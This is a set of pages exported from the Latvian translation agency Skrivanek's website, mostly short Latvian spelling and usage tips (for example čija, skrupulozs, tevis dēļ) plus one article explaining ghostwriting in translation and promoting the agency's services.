kļūdām vienuviet! - Published: 2025-05-28 - Modified: 2025-05-28 - URL: https://skrivanek.lv/cia-vai-cija/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional Čia vai čija 1 No rītiem labprāt ēdu čijas pudiņu – tas ir gards un satur daudz vērtīgu uzturvielu. Vai tomēr pareizāk būtu teikt čia? Spānijas salvijas sēklas tiešām ir vērtīgs pārtikas produkts: tajā ir daudz dzelzs, magnija, kalcija un šķiedrvielu. Ikdienā gan vairāk sastopama forma “čia”, tomēr tas ir sarunvalodas vārds, turklāt nelokāms. 2021. gada 10. novembrī Latviešu valodas ekspertu komisija ieteica izmantot lokāmo formu “čija”. Tātad literārā valodā vienmēr teiksim, ka gatavojam čijas pudiņu, taču īsziņā draugiem varam arī rakstīt, ka esam pagatavojuši izcilu čia pudiņu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Skrupulozs vai skurpulozs – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-05-28 - Modified: 2025-05-28 - URL: https://skrivanek.lv/skrupulozs-vai-skurpulozs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional Skrupulozs vai skurpulozs 1 Pētnieks savu darbu veica skrupulozi vai skurpulozi? Vārds “skrupulozs” nozīmē ‘rūpīgs, precīzs, arī pedantisks, sīkumains’. Pētniekiem tā nudien ir vajadzīga īpašība. Tomēr paviršākiem cilvēkiem vārda pareizrakstība un arī pareiza izruna mēdz sajukt, samainot vietām burtus “u” un “r”. Tiesa, šī ir bieži sastopama kļūda, kas ietverta vairākos izdevumos par latviešu valodas pareizrakstību. Tātad atcerēsimies, ka vislabākie pētnieki ir tie, kuri savu darbu veic skrupulozi. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Darīt vai ne / darīt vai nē – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-05-28 - Modified: 2025-06-25 - URL: https://skrivanek.lv/darit-vai-ne-darit-vai-ne/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional Darīt vai ne / darīt vai nē 1 Nevaru saprast – iet rīt uz pasākumu, vai nē. Vai šajā gadījumā jālieto nolieguma partikula “nē”? Vai tomēr “ne”? Šķiet, ka šādās situācijās partikulas lietojumam reti kurš pievērš uzmanību. Tomēr, lai noliegtu iepriekš izteiktu darbības vārdu, jāizvēlas partikula “ne”. Šo principu vienkāršāk atcerēties, ja iztēlojas, ka “ne-” ir priedēklis, pēc kura būtu jāseko visam darbības vārdam: darīt vai ne(darīt), iet vai ne(iet) u. tml. Tāpēc turpmāk vienmēr rakstīsim pareizi – ja gribam noliegt iepriekš izteiktu darbības vārdu, tad lietosim partikulu “ne”. Nevaru saprast – iet rīt uz pasākumu, vai ne. Laikam tomēr iešu! Turklāt, ja partikulas "vai ne" ir teikuma beigās, tās atdala no pārējā teikuma ar komatu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Tevis dēļ vai dēļ tevis – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-05-28 - Modified: 2025-05-28 - URL: https://skrivanek.lv/tevis-del-vai-del-tevis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional Tevis dēļ vai dēļ tevis 1 Es nokavēju pasākumu dēļ tevis! Vai šāds prievārda lietojums ir pareizs? Parasti prievārdus novieto pirms vārda, uz kuru tie attiecas: aiz jūras, pie kājām, pirms saullēkta. Tomēr trīs prievārdus – dēļ, labad, pēc –, ja tie lietoti iemesla nozīmē, lieto aiz vārda, ar kuru tie saistīti. Tātad pareizi būtu teikt, ka es nokavēju pasākumu tevis dēļ! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Tevīm / tevij / tevim – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-05-28 - Modified: 2025-05-28 - URL: https://skrivanek.lv/tevim-tevij-tevim/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional Tevīm / tevij / tevim 1 Baumas nonāca līdz tevij vai līdz tevīm? Vai tomēr līdz tevim? Kurš ir pareizais locījums datīvā? Vietniekvārdam “tu” datīva locījumā ir divas formas: “tev” un “tevim”. Ļoti bieži lietota nepareizā forma “tevīm”, turklāt ne tikai datīvā, bet arī ģenitīvā. Taču gadījumos, kad datīvā neder forma “tev”, jālieto forma “tevim” – ar īso patskani “i”. Tātad es tev piezvanīju un noskaidroju, ka baumas nonākušas arī līdz tevim. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Saturnējis vai satrunējis – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-05-28 - Modified: 2025-07-17 - URL: https://skrivanek.lv/saturnejis-vai-satrunejis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional Saturnējis vai satrunējis 1 Lielais ozols gadu gaitā bija saturnējis un nogāzās. Vai tomēr satrunējis? Ir tādi vārdi, kuros dažkārt izrunas ērtuma dēļ skaņas r un u mēdz pārstatīt. Iespējams, šajā vārdā skaņas “r” un “u” mēdz samainīt vietām, jo latviešu valodā ir arī vairāki vārdi ar sakni “turn”. “Satrunēt” nozīmē ‘trunot sabojāties, parasti pilnīgi’. Taču pastāv arī vārds “turnēt” – tas ir apvidvārds ar nozīmi ‘cīnīties ar miegu’. Tiesa, šo vārdu parasti nelieto ar priedēkli “sa-”. Tātad, ja gribam izstāstīt, ka lielais ozols bija sadalījies parazītisku sēņu iedarbībā, tad teiksim, ka tas satrunēja. Bet, ja gribēsim pavēstīt, ka Jānis pēc smagās darba dienas pie galda teju aizmiga, tad teiksim, ka Jānis pie galda turnēja. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Rēgu rakstniecība – kā tā atšķiras no radošā tekstu sagatavošanas. Iepazīsti, kā profesionālie rēgu rakstnieki un tulkotāji palīdz autoriem. - Published: 2025-05-14 - Modified: 2025-07-16 - URL: https://skrivanek.lv/regu-rakstnieka-loma-tulkosana/ - Kategorijas: Raksti - Translation Priorities: Optional RĒGU RAKSTNIEKA LOMA TULKOŠANĀ Rēgu rakstniecība (ghostwriter) ir termins, ko daudzi cilvēki joprojām jauc ar tekstu pielāgošanu. Tas ir saprotami, bet nav gluži pareizi. Lai gan abi jēdzieni ir saistīti ar teksta rakstīšanu, to lietojums un būtība ir pilnīgi atšķirīga. Turklāt rēgu rakstniecība ne vienmēr ir iespējama – dažkārt tā ir pat nelikumīga. "Rēgu rakstniecība" ir sarežģīts jēdziens, kam ir būtiska nozīme mūsdienu izdevējdarbības un komunikācijas pasaulē. Lai gan tas var būt noderīgs rīks, tomēr rēgu rakstniecība jāizmanto uzmanīgi un atbildīgi, lai izvairītos no ētiskām problēmām. Vai ir vērts to izmantot? Šajā rakstā sniegtas atbildes uz šo jautājumu. Rēgu rakstniecības un radošo tekstu sagatavošanas (copywriting) salīdzinājums Rakstīšana citu vārdā – abos gadījumos tekstu raksta persona, kas nav tā galvenais autors. Radošo tekstu autors (copywriter) strādā pie uzņēmumu tekstiem, savukārt rēgu rakstnieks var rakstīt grāmatas, runas, emuārus/blogus vai pat akadēmiskus materiālus. Augstas prasmes valodā un stilistikā – abos gadījumos rakstniekam ir jāpielāgojas noteiktam tonim, stilam un mērķauditorijai. Konfidencialitāte – nereti radošo tekstu autori paliek "aiz kadra", taču rēgu rakstnieki gandrīz vienmēr paliek anonīmi. Galvenās atšķirības starp rēgu rakstniecību un radošo tekstu sagatavošanu Kritērijs Rēgu rakstniecība Radošo tekstu sagatavošana (copywriting) Mērķis Radīt saturu, kas šķiet kā oriģinālā autora darbs (grāmatas, runas, blogi, akadēmiski darbi, autobiogrāfijas) Rakstīt komerciāli orientētus tekstus, kas pārdod vai pārliecina (reklāmas, e-pasti, mājaslapu teksti, sociālo mediju ieraksti) Autors Darbs tiek publicēts ar cita cilvēka vārdu (klienta vai uzņēmuma vadītāja) Radošo tekstu autori parasti netiek atzīti, bet viņu darbs tiek izmantots uzņēmuma saziņas kanālos Radošā brīvība Jāpielāgojas klienta stilam un balsij, bieži balstoties uz intervijām vai materiāliem Lielāka brīvība pielāgoties zīmolam, radīt jaunas idejas un reklāmas stratēģijas Fokuss Uz precīzu autora balss atspoguļošanu Uz pārliecināšanu, reklāmas mērķu sasniegšanu Satura veidi Grāmatas, blogi, runas, biogrāfijas, akadēmiskie darbi Reklāmas, mājaslapu teksts, e-pasti, produktu apraksti, SEO saturs Laika ieguldījums Ilgtermiņa darbs (grāmatas un runas var aizņemt mēnešus vai gadus) Īsāki termiņi (bieži vien dienas vai nedēļas) Kad nepieciešams rēgu rakstnieks, kad – radošo tekstu autors? Rēgu rakstnieks ir nepieciešams, ja: Radošo tekstu autors ir nepieciešams, ja: Jums ir ideja, bet nav laika vai prasmju uzrakstīt grāmatu, runu vai rakstu. Jums vajag reklāmas vai mārketinga tekstus. Jūs vēlaties, lai teksts atspoguļo tieši jūsu balsi/izteiksmes veidu/rakstīšanas stilu un personību. Jūs vēlaties veicināt pārdošanu vai radīt interesi par produktu vai pakalpojumu. Jūs vēlaties radīt saturu, bet nepublicēt to ar rēgu rakstnieka vārdu. Jums nepieciešams SEO optimizēts saturs, lai uzlabotu meklētājprogrammu rezultātus. Vai Skrivanek piedāvā abus pakalpojumus? Jā! Skrivanek nodrošina gan profesionālus radošo tekstu sagatavošanas (copywriting) pakalpojumus, gan rēgu rakstniecības atbalstu, īpaši lokalizācijas un daudzvalodu pielāgošanas jomā. Ja vēlaties precīzi pielāgot savu saturu dažādām valodām un tirgiem, Skrivanek eksperti palīdzēs nodrošināt, ka tas izklausās dabiski un autentiski katrā valodā. Sinerģija starp rēgu rakstniekiem, tulkotājiem un lokalizācijas ekspertiem Rēgu rakstnieka uzdevums ir radīt vienmērīgu un precīzu teksta atveidojumu svešvalodā, vienlaikus saglabājot autora oriģinālo toni un stilu. Tā nav esošā satura tulkošana no vienas valodas uz citu, nedz arī tekstu, rakstu vai publikāciju par noteiktu tēmu radīšana, bet gan pēc iespējas precīzāka personas, kas beigās parakstīsies zem publikācijas, atdarināšana. Skrivanek speciālisti ne tikai nodrošina augstas kvalitātes tulkojumus, bet arī sadarbojas ar klientiem, lai izveidotu saturu, kas precīzi atspoguļo autora balsi un mērķauditorijas kultūras nianses. Mūsu komanda strādā gan ar individuālajiem autoriem, gan lieliem uzņēmumiem, pielāgojot tekstu dažādiem mērķiem – no biznesa dokumentiem līdz mājaslapu saturam atbilstoši SEO prasībām un grāmatām. Rēgu rakstniekam-tulkotājam ir jābūt izcilam valodniekam, kas dziļi izprot gan avota, gan mērķa materiālu un valodu, kā arī daudzas dažādas kultūras nianses. Rēgu rakstniekam ir svarīgi cieši sadarboties ar autoru, lai nodrošinātu, ka viņa teksts atspoguļo rakstītā darba būtību un nolūku. Tajā pašā laikā rēgu rakstniekam, kā mēs viņus sauksim turpmāk, ir prasmīgi jāpārvar plaisa starp divām valodām, lai sasniegtu plašāku pasaules auditoriju. Šādā veidā rēgu rakstnieki apvieno dažādu profesiju uzdevumus, kas ļauj viņiem strādāt efektīvi. Efektīvu saziņas kanālu izveide starp pusēm Rēgu rakstnieka panākumi ir atkarīgi no vairāku elementu kombinācijas: iekšējo elementu, piemēram, prasmju un pieredzes, un ārējo elementu, piemēram, sadarbības ar citiem cilvēkiem, īpaši ar autoru. Pirmkārt, svarīgi noteikt skaidrus un detalizētus projekta mērķus un sagaidāmos rezultātus. Rēgu rakstniekam precīzi jāsaprot, ko autors sagaida no viņa darba un kādas tēmas, stili un intonācijas tajā jāiekļauj. No otras puses, autoram ir skaidri jānorāda savas vajadzības un vēlamie rezultāti, ko viņš sagaida no rēgu rakstnieka, lai izvairītos no pārpratumiem un nesakritībām darba gaitā. Otrkārt, jāizveido darba plāns un saziņas grafiks. Autoram un rakstniekam ir jāvienojas par to, cik bieži viņi tiksies vai runās pa tālruni vai sarakstīsies e-pastā, lai apspriestu darba gaitu, uzdotu jautājumus un risinātu problēmas. Regulāra saziņa ir galvenais priekšnoteikums, lai projekts ritētu saskaņā ar plānu. Tas ļauj rēgu rakstniekam pienācīgi veikt savu darbu, atspoguļojot teksta būtību un nodrošinot konsekvenci. Skrivanek piedāvā strukturētu un profesionālu pieeju sadarbībai – mūsu klientiem ir iespēja sazināties ar ekspertiem jebkurā projekta posmā, nodrošinot, ka rezultāts pilnībā atbilst viņu cerībām. Mūsu speciālisti izmanto mūsdienīgas saziņas platformas un pielāgo darba procesu katram projektam individuāli. Efektīvas rēgu rakstniecības piemēri Parasti rēgu rakstnieks strādā anonīmi, tāpēc daudzi piemēri nav zināmi. Tomēr rēgu rakstniecība ir izplatīta parādība, īpaši Amerikas Savienotajās Valstīs, kur tā ir guvusi ievērojamu popularitāti. Skrivanek rēgu rakstnieki un tulkotāji palīdz autoriem sasniegt starptautisku auditoriju, nodrošinot profesionālus un precīzus tekstus dažādās valodās. Neatkarīgi no tā, vai runa ir par biznesa publikācijām, grāmatām vai oficiāliem dokumentiem, mūsu pieredzējušie eksperti garantē augstu kvalitāti un precizitāti. Rēgu rakstniekus algo mākslinieki, kuri vēlas uzrakstīt savu autobiogrāfiju, populāru grāmatu autori, kuri izdod vairākus izdevumus gadā, vai dziedātāji un politiķi, jo viņi raksta arī dziesmu un runu tekstus. Svarīgi ir tas, ka rēgu rakstnieki neveido koncepciju un māksliniecisko redzējumu, jo tas pieder oriģinālajam autoram, bet veido tekstu uz šī pamata, saglabājot konsekvenci, stilu un oriģinālo stāstījumu. Tāpēc rēgu rakstnieki var strādāt starptautiskā mērogā, jo viņi var viegli ceļot starp valodām un kultūras niansēm. Rēgu rakstniekiem bieži vien ir plašas zināšanas un pieredze dažādās jomās, kas ļauj rakstīt par dažādām tēmām. Tādējādi viņi var apmierināt klientu vēlmes un piegādāt kvalitatīvus tekstus, kas atbilst prasībām un ir lingvistiski piemēroti mērķauditorijai. Un šeit ir sniegti daži rēgu rakstniecības piemēri: "Grāfs Monte-Kristo" 19. gadsimtā grāmatu sarakstīja Aleksandrs Dimā (Alexandre Dumas) un... Augusts Makē (Auguste Maquet), vēsturnieks un pats savu darbu autors. Tiek uzskatīts, ka gandrīz pusi no šī pasaulslavenā romāna sarakstījis A. Makē – Aleksandra Dimā rēgu rakstnieks. Džeimsa Patersona (James Patterson) grāmatas Ļoti ražīgs autors, kurš sarakstījis vairākus simtus grāmatu, lielāko daļu no tām ar rēgu rakstnieka palīdzību. Ar citu palīdzību Patersons varēja izpausties dažādos žanros – sākot no mīlestības romāniem līdz asa sižeta trilleriem. Pāvesta enciklikas Tiek uzskatīts, ka pāvesta Pija X encikliku Pascendi Dominici gregis uzrakstījis Žozefs Lemiuss (Joseph Lemius), kurš bija Marijas Bezvainīgās oblātu prokūrists Romā, savukārt Pija XI Humani generis unitas esot sagatavojis amerikāņu jezuīts Džons Lafaržs jaunākais (John La Farge Jr. ). Daudzvalodu satura radīšanas kultūras nianses un iespējamie sarežģījumi Jums var rasties jautājums, vai tulkotājs ir labāks par rakstnieku. Jautājums ir sarežģīts, jo atbildi ietekmē daudzi faktori. Tulkotājs apstrādā avota tekstu un pārveido to jaunajā valodā pieejamā saturā. Dažreiz šī procesa rezultātā var rasties neprecizitātes vai sākotnējās jēgas zudums. Protams, labs tulkošanas birojs šos riskus samazinās līdz minimumam, taču burtisks tulkojums no vienas valodas uz citu dažkārt nav iespējams. Tas var būtiski ietekmēt valodas jokus un vārdu spēles. Tieši tāpēc Skrivanek tulkotāji un rēgu rakstnieki neaprobežojas tikai ar tiešiem tulkojumiem – mēs pielāgojam tekstu konkrētās valodas un kultūras kontekstam, lai tas būtu saprotams un saistošs mērķauditorijai. Mūsu lokalizācijas speciālisti palīdz precīzi nodot nianses, kas ir būtiskas, lai jūsu ziņojums skanētu autentiski. No otras puses, rēgu rakstnieks veido saturu no nulles, ņemot vērā mērķauditorijas kultūras un valodas īpatnības. Cieši sadarbojoties ar autoru, rēgu rakstnieks var pielāgot tekstu mērķauditorijai, neapdraudot sākotnējo koncepciju. Abām pieejām ir gan priekšrocības, gan trūkumi, tāpēc jums labi jāapdomā, kura no tām jums ir piemērotākā. Turklāt dažās valstīs rēgu rakstniecība var būt nelikumīga vai reglamentēta dažādos noteikumos, padarot to praktiski neiespējamu. Dažādu komandu veidošana un iekļaujošas pieejas izmantošana rēgu rakstniecībā, tulkošanā un lokalizācijā Kā jūs varat būt pārliecināts, ka nolīgtais rēgu rakstnieks atbildīs jūsu vēlmēm? Galu galā daudzi no viņiem strādā kā pašnodarbinātie, tāpēc ir grūti pārbaudīt viņu prasmes un pieredzi. Un tie ir galvenie elementi, īpaši tulkojumu rēgu rakstniekam. Tādi tulkošanas biroji kā mēs nāk palīgā. Skrivanek piedāvā daudzveidīgu cilvēku komandu ar pieredzi darbā dažādas svešvalodās un tūkstošos projektu, kā arī kompetenci dažādās jomās, piemēram, medicīnā, jurisprudencē vai mārketingā. Tas ļauj mums nodrošināt saviem klientiem augstus tulkošanas un rēgu rakstniecības standartus. Turklāt mēs kā tulkošanas birojs varam pārbaudīt mūsu darbinieku prasmes un pieredzi un atbalstīt viņus darbā, kas mūsu klientiem sniedz pārliecību, ka darbu veic profesionāļi. Ja ir nepieciešami augstākās kvalitātes rēgu rakstniecības, tulkošanas vai lokalizācijas pakalpojumi, Skrivanek ir jūsu uzticamais partneris. Mūsu pieredzējušie speciālisti palīdzēs izstrādāt tekstu, kas precīzi atbilst jūsu vajadzībām un sasniedz mērķauditoriju ar nevainojamu valodas precizitāti. Sazinieties ar mums vai piesakieties tiešsaistes konsultācijai! --- > Izpūris vai izspūris – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-05-14 - Modified: 2025-05-22 - URL: https://skrivanek.lv/izspuris-vai-izpuris/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional IZSPŪRIS VAI IZPŪRIS 1 Drēgnajā maija sākumā Gustava mati bija izpūruši vai izspūruši? Patiesībā abi varianti ir pareizi! Tiesa, variants “izspurt” tiek lietots mazliet biežāk, tomēr abi varianti bijuši iekļauti Mīlenbaha­–Endzelīna vārdnīcā un ir saglabājušies līdz pat šai dienai. Interesanti, ka abiem šiem vārdiem pagātnes formās ir paralēlformas. Var teikt: “Es vakar izpuru jeb izspuru. ” Un var arī teikt: “Es vakar izpūru jeb izspūru. ”Tāpēc varam teikt, ka drēgnajā maija sākumā Gustava mati bija gan izpūruši, gan izspūruši. Tāds, lūk, interesants piemērs mūsu bagātajā valodā! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Enerģisks vai enerģētisks – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-05-13 - Modified: 2025-04-16 - URL: https://skrivanek.lv/energisks-vai-energetisks/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ENERĢISKS VAI ENERĢĒTISKS 1 Deju kolektīva uzstāšanās bija aizrautīga un enerģētiska. Vai tomēr enerģiska? Kurš no šiem vārdiem ir pareizs? Enerģisks nozīmē ‘aktīvs, darbīgs’. Savukārt enerģētisks ir tāds, kas saistīts ar enerģētiku jeb dabas enerģijas veidu ieguvi, pārveidi un izmantošanu konkrētā reģionā. Abi vārdi ir pareizi, taču katram no tiem ir sava nozīme. Deju kolektīvs uzstājās aizrautīgi un enerģiski. Savukārt vārdu “enerģētisks” atstāsim gadījumiem, kad runājam par enerģijas ieguves avotiem, lietošanas veidiem un citu specifisku, ar dabas enerģiju saistītu informāciju. Citi latviešu valodas padomi  